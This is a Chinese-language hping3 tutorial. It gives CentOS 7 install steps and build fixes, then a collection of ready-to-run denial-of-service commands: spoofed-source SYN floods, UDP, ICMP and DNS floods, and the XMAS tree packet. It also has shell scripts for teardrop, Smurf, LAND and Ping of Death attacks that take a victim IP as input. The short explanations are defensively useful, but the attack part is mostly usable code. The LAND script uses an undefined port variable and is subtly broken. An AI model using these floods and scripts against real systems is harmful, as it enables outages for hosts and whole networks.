安裝
以下步驟用於 在 centos7 下安裝 hping3。
安裝依賴庫
先安裝以下依賴庫:
yum -y install libpcap
yum -y install libpcap-devel
yum -y install tcl-devel
方式一: yum 安裝
yum -y install hping3
方式二:源碼安裝
# 下載
wget http://www.hping.org/hping3-20051105.tar.gz
# 解壓
tar xvf hping3-20051105.tar.gz
cd hping3-20051105
# 配置
./configure
# 編譯
make
# 安裝
make install
問題 1 (configure 時候出錯):
bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h
error can not find the byte order for this architecture, fix bytesex.h
ars.h:190:2: error: #error “Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)ENDIAN"
#error "Please, edit Makefile and add -DBYTE_ORDER(BIG|LITTLE)_ENDIAN”
原因:
沒有指定 x86_64 下的大小端對齊。
解決方法:
修改 bytesex.h
,在 defined(__i386__)
後添加 defined(__x86_64__)
。
修改前:
#if defined(__i386__) \
|| defined(__alpha__) \
|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
修改後:
#if defined(__i386__) \
|| defined(__x86_64__) \
|| defined(__alpha__) \
|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))
問題2 (make 時候出錯):
libpcap_stuff.c:20:21: fatal error: net/bpf.h: No such file or directory
原因:
bpf.h 路徑不正確。
解決方法:
添加軟連接 /usr/local/include/net/bpf.h
。
mkdir -p /usr/local/include/net
ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h
使用
端口掃描
# 通過 eth0 網口,發送 SYN 報文 到 192.168.1.1:80
hping3 -I eth0 -S 192.168.1.1 -p 80
syn flood
默認協議: tcp
默認源端口:隨機
默認源地址:攻擊機的 ip 地址
# 通過 eth0 網口。發送 SYN 報文 到 192.168.1.1:80。僞造源地址爲192.168.1.222,時間間隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 -a 192.168.1.222 -i u1000
# 通過 eth0 網口。發送 SYN 報文 到 192.168.1.1:80。僞造隨機源地址,時間間隔 1000us。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source -i u1000
# 通過 eth0 網口。發送 SYN 報文 到 192.168.1.1:80。僞造隨機源地址,洪水攻擊。
# 洪水攻擊,速率最快的攻擊。不會顯示數據 和 丟包的統計。
hping3 -I eth0 -S 192.168.1.1 -p 80 --rand-source --flood
-I --interface interface name (otherwise default routing interface)
-S --syn set SYN flag
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-a --spoof spoof source address
–rand-source random source address mode. see the man.
-i --interval wait (uX for X microseconds, for example -i u1000)–fast alias for -i u10000 (10 packets for second)
–faster alias for -i u1000 (100 packets for second)
udp flood
# 發送 udp 報文 到 192.168.1.1:80。
hping3 --udp 192.168.1.1 -p 80
# 發送 udp 報文 到 192.168.1.1:80。僞造隨機源地址,洪水攻擊。
hping3 --udp 192.168.1.1 -p 80 --rand-source --flood
icmp flood
# 發送 icmp 報文 到 192.168.1.1。
hping3 --icmp 192.168.1.1
# 發送 icmp 報文 到 192.168.1.1。僞造隨機源地址,洪水攻擊。
hping3 --icmp 192.168.1.1 --rand-source --flood
dns flood
# 發送 udp 報文 到 192.168.1.1:53。僞造隨機源地址,洪水攻擊。
hping3 --udp 192.168.1.1 -p 53 --rand-source --flood
teardrop
Teardrop攻擊是一種拒絕服務攻擊。是基於病態分片數據包的攻擊方法。
其工作原理是向被攻擊者發送多個分片的IP包(IP分片數據包中包括該分片數據包屬於哪個數據包以及在數據包中的位置等信息)。
某些操作系統收到含有重疊偏移的僞造分片數據包時將會出現系統崩潰、重啓等現象。
#!/bin/bash
function teardrop ( )
{
local victim_ip=$1
local id_begin=$2
local id_end=$3
for((id=${id_begin};id<${id_end};id++))
do
hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
done
}
teardrop $*
-x --morefrag set more fragments flag
-d --data data size (default is 0)
-N --id id (default random)
-g --fragoff set the fragment offset
-c --count packet count
SMURF攻擊
Smurf攻擊通過使用將回復地址設置成受害網絡的廣播地址的ICMP應答請求(ping)數據包,來淹沒受害主機,
最終導致該網絡的所有主機都對此ICMP應答請求做出答覆,導致網絡阻塞。
更加複雜的Smurf將源地址改爲第三方的受害者,最終導致第三方崩潰。
#!/bin/bash
function smurf ( )
{
local victim_ip=$1
local broadcast_ip=$2
hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}
smurf $*
XMAS TREE攻擊
TCP所有標誌位被設置爲1的數據包被稱爲聖誕樹數據包(XMas Tree packet),之所以叫這個名是因爲這些標誌位就像聖誕樹上燈一樣全部被點亮。
hping3 -SFRP 192.168.1.1
LAND攻擊
LAND攻擊方式採用了特別構造的TCP SYN數據包(通常用於開啓一個新的連接),使目標機器開啓一個源地址與目標地址均爲自身IP地址的空連接,持續地自我應答,消耗系統資源直至崩潰。這種攻擊方法與SYN洪泛攻擊並不相同。
#!/bin/bash
function land ( )
{
local victim_ip=$1
hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}
land $*
Ping of Death攻擊
Ping of Death俗稱“死拼”。
其攻擊原理是攻擊者A向受害者B發送一些尺寸超大的ICMP(Ping命令使用的是ICMP報文)報文對其進行攻擊(對於有些路由器或系統,在接收到一個這樣的報文後,由於處理不當,會造成系統崩潰、死機或重啓)。
#!/bin/bash
function ping_of_death ()
{
local victim_ip=$1
local id=186
local data_size=1450
let icmp_size=${data_size}+8
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag
for i in $(seq 50)
do
let offset=${i}*${icmp_size}
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
done
}
ping_of_death $*
-d --data data size (default is 0)
-x --morefrag set more fragments flag
-g --fragoff set the fragment offset
-N --id id (default random)
-c --count packet count
references
Nmap、Netcat、Hping3工具對比
CentOS 安裝hping3 錯誤以及解決方法
華安解密之DDoS攻防彙總貼
hping3_examples
Smurf攻擊
LAND攻擊
畸形報文攻擊種類及防禦